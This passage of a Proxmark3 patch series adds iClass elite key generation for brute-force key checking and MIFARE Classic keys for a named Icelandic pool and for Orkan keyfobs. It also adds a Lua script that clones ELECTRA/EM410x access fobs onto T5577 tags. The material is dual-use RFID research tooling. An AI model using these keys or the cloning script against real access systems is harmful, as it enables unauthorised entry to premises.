// binsearch + // Binsearch item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); if (item != NULL) { @@ -3900,7 +3966,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "Time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0); free(prekey); free(keyBlock); diff --git a/client/src/cmdhficlass.h b/client/src/cmdhficlass.h index db242d496..b3b0844ab 100644 --- a/client/src/cmdhficlass.h +++ b/client/src/cmdhficlass.h @@ -36,4 +36,10 @@ void PrintPreCalc(iclass_prekey_t *list, uint32_t itemcnt); uint8_t get_pagemap(const picopass_hdr_t *hdr); bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *tmac, uint8_t *key); + +void picopass_elite_nextKey(uint8_t* key); +void picopass_elite_reset(void); +uint32_t picopass_elite_rng(void); +uint32_t picopass_elite_lcg(void); +uint8_t picopass_elite_nextByte(void); #endif From fbacd60e41f320a36a1e461f50f69b89eb1e8bde Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 12 Jul 2024 14:46:23 +0800 Subject: [PATCH 149/157] Implemented VB6 rng for iclass chk elite key search Implemented VB6 rng for iclass chk elite key search based on @bettse implementation on Flipper Zero Picopass app --- CHANGELOG.md | 2 +- client/src/cmdhficlass.c | 41 +++++++++++++++++++++++++++++++--------- 2 files changed, 33 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 89143f958..12c8e95c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,7 +10,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier - Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) - Fixed 'hf 14b sim' - now works (@michi-jung) -- Added VB6 Rng for iclass elite keys lookup by porting @bettse work in the Flipper Zero Picopass App (@antiklesys) +- Added VB6 Rng for iclass elite keys `hf iclass lookup` and `hf iclass chk` functions by porting @bettse work in the Flipper Zero Picopass App (@antiklesys) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index f3bf3fd51..eaa83aeaf 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3581,26 +3581,33 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { CLIParserInit(&ctx, "hf iclass chk", "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "hf iclass chk -f iclass_default_keys.dic\n" - "hf iclass chk -f iclass_elite_keys.dic --elite"); + "hf iclass chk -f iclass_elite_keys.dic --elite\n" + "hf iclass chk --vb6kdf\n"); void *argtable[] = { arg_param_begin, - arg_str1("f", "file", "", "Dictionary file with default iclass keys"), + arg_str0("f", "file", "", "Dictionary file with default iclass keys"), arg_lit0(NULL, "credit", "key is assumed to be the credit key"), arg_lit0(NULL, "elite", "elite computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key (raw)"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0(NULL, "vb6kdf", "use the VB6 elite KDF instead of a file"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); - - bool use_credit_key = arg_get_lit(ctx, 2); + bool use_vb6kdf = arg_get_lit(ctx, 6); bool use_elite = arg_get_lit(ctx, 3); bool use_raw = arg_get_lit(ctx, 4); + if(use_vb6kdf){ + use_elite = true; + }else{ + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + } + + bool use_credit_key = arg_get_lit(ctx, 2); bool shallow_mod = arg_get_lit(ctx, 5); CLIParserFree(ctx); @@ -3613,10 +3620,26 @@ static int CmdHFiClassCheckKeys(const char *Cmd) { // load keys uint8_t *keyBlock = NULL; uint32_t keycount = 0; - int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); - if (res != PM3_SUCCESS || keycount == 0) { - free(keyBlock); - return res; + + if (!use_vb6kdf) { + // Load keys + int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); + if (res != PM3_SUCCESS || keycount == 0) { + free(keyBlock); + return res; + } + } else { + // Generate 5000 keys using VB6 KDF + keycount = 5000; + keyBlock = malloc(keycount * 8); + if (!keyBlock) { + return PM3_EMALLOC; + } + + picopass_elite_reset(); + for (uint32_t i = 0; i < keycount; i++) { + picopass_elite_nextKey(keyBlock + (i * 8)); + } } // limit size of keys that can be held in memory From 3461b6f80320fdb5cd6d6509b3afc7c06cb7bd40 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 12 Jul 2024 15:06:08 +0200 Subject: [PATCH 150/157] fixed type confusing error when trying to load none supported .picopass files. Thanks to Jump for the suggested fixes --- CHANGELOG.md | 1 + client/src/fileutils.c | 95 +++++++++++++++++++++++++++--------------- client/src/fileutils.h | 2 +- 3 files changed, 64 insertions(+), 34 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 12c8e95c7..b9877ff17 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- fixed breaking of client when trying to load a non-supported .picopass file (@iceman100) Thanks to Jump for suggested fixes! - Changed `mf_nonce_brute` tool to handle the odd case of multiple key candidates (@iceman1001) - Fixed a bad memory erase (@iceman1001) - Fixed BT serial comms (@iceman1001) diff --git a/client/src/fileutils.c b/client/src/fileutils.c index 5fa74c4b0..1833f74b9 100644 --- a/client/src/fileutils.c +++ b/client/src/fileutils.c @@ -2162,14 +2162,18 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt, size_t startFilePosition, size_t *endFilePosition, bool verbose) { - if (data == NULL) return PM3_EINVARG; + if (data == NULL) { + return PM3_EINVARG; + } - if (endFilePosition) + if (endFilePosition) { *endFilePosition = 0; + } char *path; - if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) + if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) { return PM3_EFILE; + } // double up since its chars keylen <<= 1; @@ -2201,8 +2205,9 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale long filepos = ftell(f); if (!fgets(line, sizeof(line), f)) { - if (endFilePosition) + if (endFilePosition) { *endFilePosition = 0; + } break; } @@ -2210,39 +2215,50 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale line[keylen] = 0; // smaller keys than expected is skipped - if (strlen(line) < keylen) + if (strlen(line) < keylen) { continue; + } // The line start with # is comment, skip - if (line[0] == '#') + if (line[0] == '#') { continue; + } - if (!CheckStringIsHEXValue(line)) + if (!CheckStringIsHEXValue(line)) { continue; + } // cant store more data if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) { retval = 1; - if (endFilePosition) + if (endFilePosition) { *endFilePosition = filepos; + } break; } - if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) + if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) { continue; + } vkeycnt++; memset(line, 0, sizeof(line)); counter += (keylen >> 1); } - fclose(f); - if (verbose) - PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path); - if (datalen) + fclose(f); + + if (verbose) { + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path); + } + + if (datalen) { *datalen = counter; - if (keycnt) + } + + if (keycnt) { *keycnt = vkeycnt; + } out: free(path); return retval; @@ -2253,8 +2269,9 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key int retval = PM3_SUCCESS; char *path; - if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) + if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) { return PM3_EFILE; + } // t5577 == 4bytes // mifare == 6 bytes @@ -2311,15 +2328,18 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key line[keylen] = 0; // smaller keys than expected is skipped - if (strlen(line) < keylen) + if (strlen(line) < keylen) { continue; + } // The line start with # is comment, skip - if (line[0] == '#') + if (line[0] == '#') { continue; + } - if (!CheckStringIsHEXValue(line)) + if (!CheckStringIsHEXValue(line)) { continue; + } uint64_t key = strtoull(line, NULL, 16); @@ -2330,6 +2350,7 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key memset(line, 0, sizeof(line)); } fclose(f); + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path); out: @@ -2453,7 +2474,9 @@ mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose) { return retval; } -nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { +int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose) { + + *dump_type = NFC_DF_UNKNOWN; char *path; int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false); @@ -2469,8 +2492,6 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { } free(path); - nfc_df_e retval = NFC_DF_UNKNOWN; - char line[256]; memset(line, 0, sizeof(line)); @@ -2492,31 +2513,31 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { str_lower(line); if (str_startswith(line, "device type: ntag")) { - retval = NFC_DF_MFU; + *dump_type = NFC_DF_MFU; break; } if (str_startswith(line, "device type: mifare classic")) { - retval = NFC_DF_MFC; + *dump_type = NFC_DF_MFC; break; } if (str_startswith(line, "device type: mifare desfire")) { - retval = NFC_DF_MFDES; + *dump_type = NFC_DF_MFDES; break; } if (str_startswith(line, "device type: iso14443-3a")) { - retval = NFC_DF_14_3A; + *dump_type = NFC_DF_14_3A; break; } if (str_startswith(line, "device type: iso14443-3b")) { - retval = NFC_DF_14_3B; + *dump_type = NFC_DF_14_3B; break; } if (str_startswith(line, "device type: iso14443-4a")) { - retval = NFC_DF_14_4A; + *dump_type = NFC_DF_14_4A; break; } if (str_startswith(line, "filetype: flipper picopass device")) { - retval = NFC_DF_PICOPASS; + *dump_type = NFC_DF_PICOPASS; break; } @@ -2524,7 +2545,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { fclose(f); if (verbose) { - switch (retval) { + switch (*dump_type) { case NFC_DF_MFU: PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format"); break; @@ -2551,7 +2572,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { break; } } - return retval; + return PM3_SUCCESS; } static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) { @@ -2996,15 +3017,20 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl break; } case FLIPPER: { - nfc_df_e foo = detect_nfc_dump_format(fn, true); - if (foo == NFC_DF_MFC || foo == NFC_DF_MFU || foo == NFC_DF_PICOPASS) { + nfc_df_e dumptype; + res = detect_nfc_dump_format(fn, &dumptype, true); + if (res != SUCCESS) { + break; + } + + if (dumptype == NFC_DF_MFC || dumptype == NFC_DF_MFU || dumptype == NFC_DF_PICOPASS) { *pdump = calloc(maxdumplen, sizeof(uint8_t)); if (*pdump == NULL) { PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); return PM3_EMALLOC; } - res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, foo); + res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, dumptype); if (res == PM3_SUCCESS) { return res; } @@ -3016,6 +3042,9 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl } else if (res == PM3_EMALLOC) { PrintAndLogEx(WARNING, "wrong size of allocated memory. Check your parameters"); } + } else { + // unknown dump file type + res = PM3_ESOFT; } break; } diff --git a/client/src/fileutils.h b/client/src/fileutils.h index b469eba68..c69185425 100644 --- a/client/src/fileutils.h +++ b/client/src/fileutils.h @@ -289,7 +289,7 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya */ int convert_mfu_dump_format(uint8_t **dump, size_t *dumplen, bool verbose); mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose); -nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose); +int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose); int searchAndList(const char *pm3dir, const char *ext); int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent); From 8ee0df159d54d068e0c2deaa3cc43293142d65ee Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 12 Jul 2024 15:41:45 +0200 Subject: [PATCH 151/157] fix output --- tools/mf_nonce_brute/mf_nonce_brute.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/tools/mf_nonce_brute/mf_nonce_brute.c b/tools/mf_nonce_brute/mf_nonce_brute.c index 2e10ccbf1..36652a685 100644 --- a/tools/mf_nonce_brute/mf_nonce_brute.c +++ b/tools/mf_nonce_brute/mf_nonce_brute.c @@ -595,13 +595,12 @@ static void *brute_thread(void *arguments) { static void *brute_key_thread(void *arguments) { struct thread_key_args *args = (struct thread_key_args *) arguments; - uint64_t key; uint8_t local_enc[args->enc_len]; memcpy(local_enc, args->enc, args->enc_len); for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) { - key = args->part_key | (count << 32); + uint64_t key = args->part_key | (count << 32); // Init cipher with key struct Crypto1State *pcs = crypto1_create(key); @@ -794,7 +793,7 @@ int main(int argc, const char *argv[]) { } if (enc_len < 4) { - printf("Too few next cmd bytes, skipping phase 2\n"); + printf("Too few next cmd bytes, skipping phase 3\n\n"); goto out; } @@ -830,11 +829,15 @@ int main(int argc, const char *argv[]) { pthread_join(threads[i], NULL); } + if (global_found_candidate > 1) { - printf("\nOdd case but we found " _GREEN_("%d") " possible keys", global_found_candidate); - printf("\n" _YELLOW_("You need to test all of them manually, start with the one matching the candidate\n\n")); + printf("Key recovery ( " _GREEN_("ok") " )\n"); + printf("Found " _GREEN_("%d") " possible keys\n", global_found_candidate); + printf(_YELLOW_("You need to test them manually, start with the one matching the candidate\n\n")); + } else if (global_found_candidate == 1) { + printf("Key recovery ( " _GREEN_("ok") " )\n\n"); } else { - printf("\nfailed to find a key\n\n"); + printf("Key recovery ( " _RED_("fail") " )\n\n"); } out: From 0495cc1086bdd2975d7cb51ec3df68b9308c9d3c Mon Sep 17 00:00:00 2001 From: dandri Date: Sat, 13 Jul 2024 19:53:28 +0000 Subject: [PATCH 152/157] Update mfc_default_keys.dic Add keys for Laugardalslaug in Iceland --- client/dictionaries/mfc_default_keys.dic | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index ba88c83d6..7b80b6728 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2521,3 +2521,6 @@ bd6af9754c18 17fe45604a0d 17fe45604a0e 17fe45604a0f +# keys for Laugardalslaug in Iceland +3E65E4FB65B3 +28220F14BEF0 From c5c6ec0c87189ecb00113736b6df4c20d4face50 Mon Sep 17 00:00:00 2001 From: dandri Date: Sat, 13 Jul 2024 20:02:53 +0000 Subject: [PATCH 153/157] Update CHANGELOG.md Added text for mfc keys for Laugardalslaug in Iceland --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b9877ff17..772fb54fb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) - Fixed 'hf 14b sim' - now works (@michi-jung) - Added VB6 Rng for iclass elite keys `hf iclass lookup` and `hf iclass chk` functions by porting @bettse work in the Flipper Zero Picopass App (@antiklesys) +- Added MFC Keys for Laugardalslaug in Iceland (@dandri) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) From 8fc63c4156be1d9585908926c692dca3bb41a769 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 13 Jul 2024 22:29:26 +0200 Subject: [PATCH 154/157] clean --- client/dictionaries/mfc_default_keys.dic | 1 - 1 file changed, 1 deletion(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 7b80b6728..a1ee010b7 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2522,5 +2522,4 @@ bd6af9754c18 17fe45604a0e 17fe45604a0f # keys for Laugardalslaug in Iceland -3E65E4FB65B3 28220F14BEF0 From edb2bcb288c38a2849183b178987336bf7fcacf4 Mon Sep 17 00:00:00 2001 From: dandri Date: Sun, 14 Jul 2024 19:58:45 +0000 Subject: [PATCH 155/157] Update mfc_default_keys.dic Add key for Orkan keyfobs/cards --- client/dictionaries/mfc_default_keys.dic | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index a1ee010b7..44822432e 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2523,3 +2523,5 @@ bd6af9754c18 17fe45604a0f # keys for Laugardalslaug in Iceland 28220F14BEF0 +# key for Orkan keyfobs +300724070486 From b046fbf3a374d576a362dcfeeae53db08c49be86 Mon Sep 17 00:00:00 2001 From: dandri Date: Sun, 14 Jul 2024 20:32:55 +0000 Subject: [PATCH 156/157] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 772fb54fb..19f23eea2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fixed 'hf 14b sim' - now works (@michi-jung) - Added VB6 Rng for iclass elite keys `hf iclass lookup` and `hf iclass chk` functions by porting @bettse work in the Flipper Zero Picopass App (@antiklesys) - Added MFC Keys for Laugardalslaug in Iceland (@dandri) +- Added key for Orkan keyfobs(@dandri) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) From 29937d39c67e87451f123a232b464b4d059ef11a Mon Sep 17 00:00:00 2001 From: Vasil Petrov Date: Mon, 15 Jul 2024 12:42:08 +0300 Subject: [PATCH 157/157] Lua script for cloning new ELECTRA tags or EM410x to T5577 tag --- client/luascripts/lf_electra.lua | 326 +++++++++++++++++++++++++++++++ 1 file changed, 326 insertions(+) create mode 100644 client/luascripts/lf_electra.lua diff --git a/client/luascripts/lf_electra.lua b/client/luascripts/lf_electra.lua new file mode 100644 index 000000000..38b6e6e64 --- /dev/null +++ b/client/luascripts/lf_electra.lua @@ -0,0 +1,326 @@ +local getopt = require('getopt') +local utils = require('utils') +local ac = require('ansicolors') +local os = require('os') +local count = 0 +line = '-------------------------------------------------------------------------' +mod = " ELECTRA or EM410x fob cloning SCRIPT " +version = " v1.1.17 02/09/2023 made by jareckib " +desc = [[ + + Cloning new ELECTRA tags or EM410x to T5577 tag. This script changes + block 0. Additional data is written to block 3 and 4. The last + ELECTRA ID can be accessed through the option ---> "-c". For copy + directly from the original ELECTRA tag, ---> option "-e". For copy + from input, EM410X ID ---> option "-s". Next option for cloning simple + EM4102 ---> option "-m". If press it, which writes an ID. + If press ---> exit the script. +]] +example = [[ +------------------------------------------------------------------------------- + +--------------- cloning ELECTRA tag from input ID to T5577 tag ---------------- + + script run lf_electra -s 11AA22BB55 + +----------------- continue cloning from last cloned ELECTRA ------------------- + + script run lf_electra -c + +---------------------- ELECTRA cloning from the original TAG ----------------- + + script run lf_electra -e + +----------------------------- simple EM4102 cloning --------------------------- + + script run lf_electra -m + +------------------------------------------------------------------------------- +]] +usage = [[ + script run lf_electra.lua [-e] [-h] [-c] [-m] [-s ] +]] +arguments = [[ + -h : this help + -c : continue cloning from last ID used + -s : ELECTRA - EM410x ID HEX number + -e : Read original ELECTRA from Proxmark3 device + -m : EM410x cloning + ]] +--------------------------------------Path to logs files +local DEBUG = false +local dir = os.getenv('HOME')..'/.proxmark3/logs/' +local LAST_ID = os.getenv('HOME')..'/.proxmark3/logs/last_id.txt' +local ID_STATUS = (io.popen('dir /a-d /o-d /tw /b/s "'..dir..'" 2>nul:'):read("*a"):match"%C+") +if not ID_STATUS then + error"No files in this directory" +end +-------------------------------------------A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +------------------------------------------------- errors +local function oops(err) + core.console('clear') + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print(ac.red..' ERROR:'..ac.reset.. err) + print( string.rep('--',39) ) + print( string.rep('--',39) ) + return nil, err +end +-----------------------------------------------sleep +local function sleep(n) + os.execute("sleep " ..tonumber(n)) +end +--------------------wait +function wait(msec) + local t = os.clock() + repeat + until os.clock() > t + msec * 1e-3 +end +----------------------------------------------time wait +local function timer(n) + while n > 0 do + io.write(ac.cyan.." ::::: "..ac.yellow.. tonumber(n) ..ac.yellow.." sec "..ac.cyan..":::::\r"..ac.reset) + sleep(1) + io.flush() + n = n-1 + end +end +----------------------------------------------------- help +local function help() + core.console('clear') + print(line) + print(ac.cyan..mod..ac.reset) + print(ac.cyan..version..ac.reset) + print(ac.yellow..desc..ac.reset) + print(line) + print(ac.cyan..' Usage'..ac.reset) + print(usage) + print(ac.cyan..' Arguments'..ac.reset) + print(arguments) + print(line) + timer(30) + core.console('clear') + print(ac.cyan..' Example usage'..ac.reset) + print(example) +end +------------------------------------ Exit message +local function exitMsg(msg) + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print(msg) + print() +end +--------------------------------- idsearch EM ID +local function id() + local f = assert(io.open(ID_STATUS, "r")) + for line in f:lines() do + id = line:match"^%[%+%] EM 410x ID (%x+)" + if id then break end + end + f:close() + local f= io.open(ID_STATUS, "w+") + f:write(id) + f:close() + local f= io.open(ID_STATUS, "r") + local t = f:read("*all") + f:close() + local hex_hi = tonumber(t:sub(1, 2), 16) + local hex_low = tonumber(t:sub(3, 10), 16) + return hex_hi, hex_low +end +---------------------------------------read file +local function readfile() + local f = io.open(ID_STATUS, "r") + for line in f:lines() do + id = line:match"^(%x+)" + if id then break end + end + f:close() + if not id then + return oops (" ....No ID found in file") end + local f= io.open(ID_STATUS, "r") + local t = f:read("*all") + f:close() + local hex_hi = tonumber(t:sub(1, 2), 16) + local hex_low = tonumber(t:sub(3, 10), 16) + return hex_hi, hex_low +end +----------------------------------------last ID +local function IDsaved() + local f = io.open(LAST_ID, "r") + for line in f:lines() do + id = line:match"^(%x+)" + if id then break end + end + f:close() + if not id then + return oops (" ....No ID found in file") end + local f= io.open(LAST_ID, "r") + local t = f:read("*all") + f:close() + local hex_hi = tonumber(t:sub(1, 2), 16) + local hex_low = tonumber(t:sub(3, 10), 16) + return hex_hi, hex_low +end +----------------------------------------write file +local function writefile(hex_hi, hex_low) + local f = io.open(ID_STATUS, "w+") + local g = io.open(LAST_ID, 'w+') + f:write(("%02X%08X\n"):format(hex_hi, hex_low)) + f:close() + g:write(("%02X%08X\n"):format(hex_hi, hex_low)) + g:close() + print((' Saved EM410x ID '..ac.green..'%02X%08X'..ac.reset..' to TXT file:'):format(hex_hi, hex_low)) + print((ac.yellow..' %s'..ac.reset):format(LAST_ID)) + return true, 'Ok' +end +---------------replace line +local last_str = '' +function txt_change(str) + io.write(('\b \b'):rep(#last_str)) -- old line + io.write(str) -- new line + io.flush() + last_str = str +end +---------------------------------------- main +local function main(args) + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print() + if #args == 0 then return help() end + local saved_id = false + local id_original = false + local emarine = false + local input_id = '' + for o, a in getopt.getopt(args, 'hems:c') do + if o == 'h' then return help() end + if o == 'e' then id_original = true end + if o == 'm' then emarine = true end + if o == 's' then input_id = a end + if o == 'c' then saved_id = true end + end + --------------------check -id + if not saved_id and not id_original and not emarine then + if input_id == nil then return oops(' empty EM410x ID string') end + if #input_id == 0 then return oops(' empty EM410x ID string') end + if #input_id < 10 then return oops(' EM410x ID too short. Must be 5 hex bytes') end + if #input_id > 10 then return oops(' EM410x ID too long. Must be 5 hex bytes') end + end + core.console('clear') + print( string.rep('--',39) ) + print(ac.green..' ....... OFF THE HINTS WILL BE LESS ON THE SCREEN'..ac.reset) + print( string.rep('--',39) ) + core.console('pref set hint --off') + print( string.rep('--',39) ) + timer(4) + core.console('clear') + local hi = tonumber(input_id:sub(1, 2), 16) + local low = tonumber(input_id:sub(3, 10), 16) + if saved_id then + hi, low = IDsaved() + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print('') + print(ac.green..' ......Continue cloning from last saved ID'..ac.reset) + print('') + print( string.rep('--',39) ) + end + if id_original then + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print('') + print(ac.green..' Put the ELECTRA tag on the coil PM3 to read '..ac.reset) + print('') + print( string.rep('--',39)) + print(string.rep('--',39)) + end + if emarine then + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print('') + print(ac.green..' Put the EM4102 tag on the coil PM3 to read '..ac.reset) + print('') + print( string.rep('--',39) ) + print( string.rep('--',39) ) + end + if emarine or id_original then + io.write(' Press'..ac.yellow..' Enter'..ac.reset..' to continue ... ');io.read() + txt_change(' Readed TAG : ') + core.console(' lf em 410x read') + print( string.rep('--',39) ) + hi, low = id() + timer(7) + core.console('clear') + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print('') + print(ac.green..' Continuation of the cloning process....'..ac.reset) + print('') + print( string.rep('--',39) ) + end + if not emarine and not id_original and not saved_id then + print( string.rep('--',39) ) + print( string.rep('--',39) ) + print('') + print(ac.green..' ........ ELECTRA cloning from Entered EM-ELECTRA ID'..ac.reset) + print('') + print( string.rep('--',39) ) + end + if emarine then + d = ('EM4102 ID ') + else + d =('ELECTRA ID ') + end + local template = ((d)..ac.green..'%02X%08X'..ac.reset) + for i = low, low + 100, 1 do + local msg = (template):format(hi, low) + print( string.rep('--',39) ) + if count > 0 then + print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count)) + print( string.rep('--',39) ) + end + print((' %s >>>>>> cloning to '..ac.cyan..'T5577 -'..ac.yellow..' Enter'..ac.reset..' for yes or '..ac.yellow..'n'..ac.reset..' for exit'):format(msg)) + print(' Before confirming the cloning operation, put a blank '..ac.cyan..'T5577'..ac.reset..' tag on coil'..ac.cyan..' PM3'..ac.reset..' !') + print( string.rep('--',39) ) + io.write(' Continue with this operation'..ac.yellow..' (Enter/n)'..ac.reset..' ? > ') + answer = io.read() + if answer == 'n' then + core.console('clear') + print( string.rep('--',39) ) + print(ac.red..' USER ABORTED'..ac.reset) + print( string.rep('--',39) ) + break + end + core.console('clear') + print( string.rep('--',39) ) + if emarine then + core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) ) + else + core.console( ('lf em 410x clone --id %02X%08X'):format(hi, low) ) + core.console('lf t55 write -b 0 -d 00148080') + core.console('lf t55 write -b 3 -d 7E1EAAAA') + core.console('lf t55 write -b 4 -d AAAAAAAA') + end + count = count+1 + end + writefile(hi, low) + core.console('pref set hint --on') + print( string.rep('--',39) ) + if count > 0 then + print((' TAGs created: '..ac.green..'%s'..ac.reset):format(count)) + print( string.rep('--',39) ) + end +end +main(args)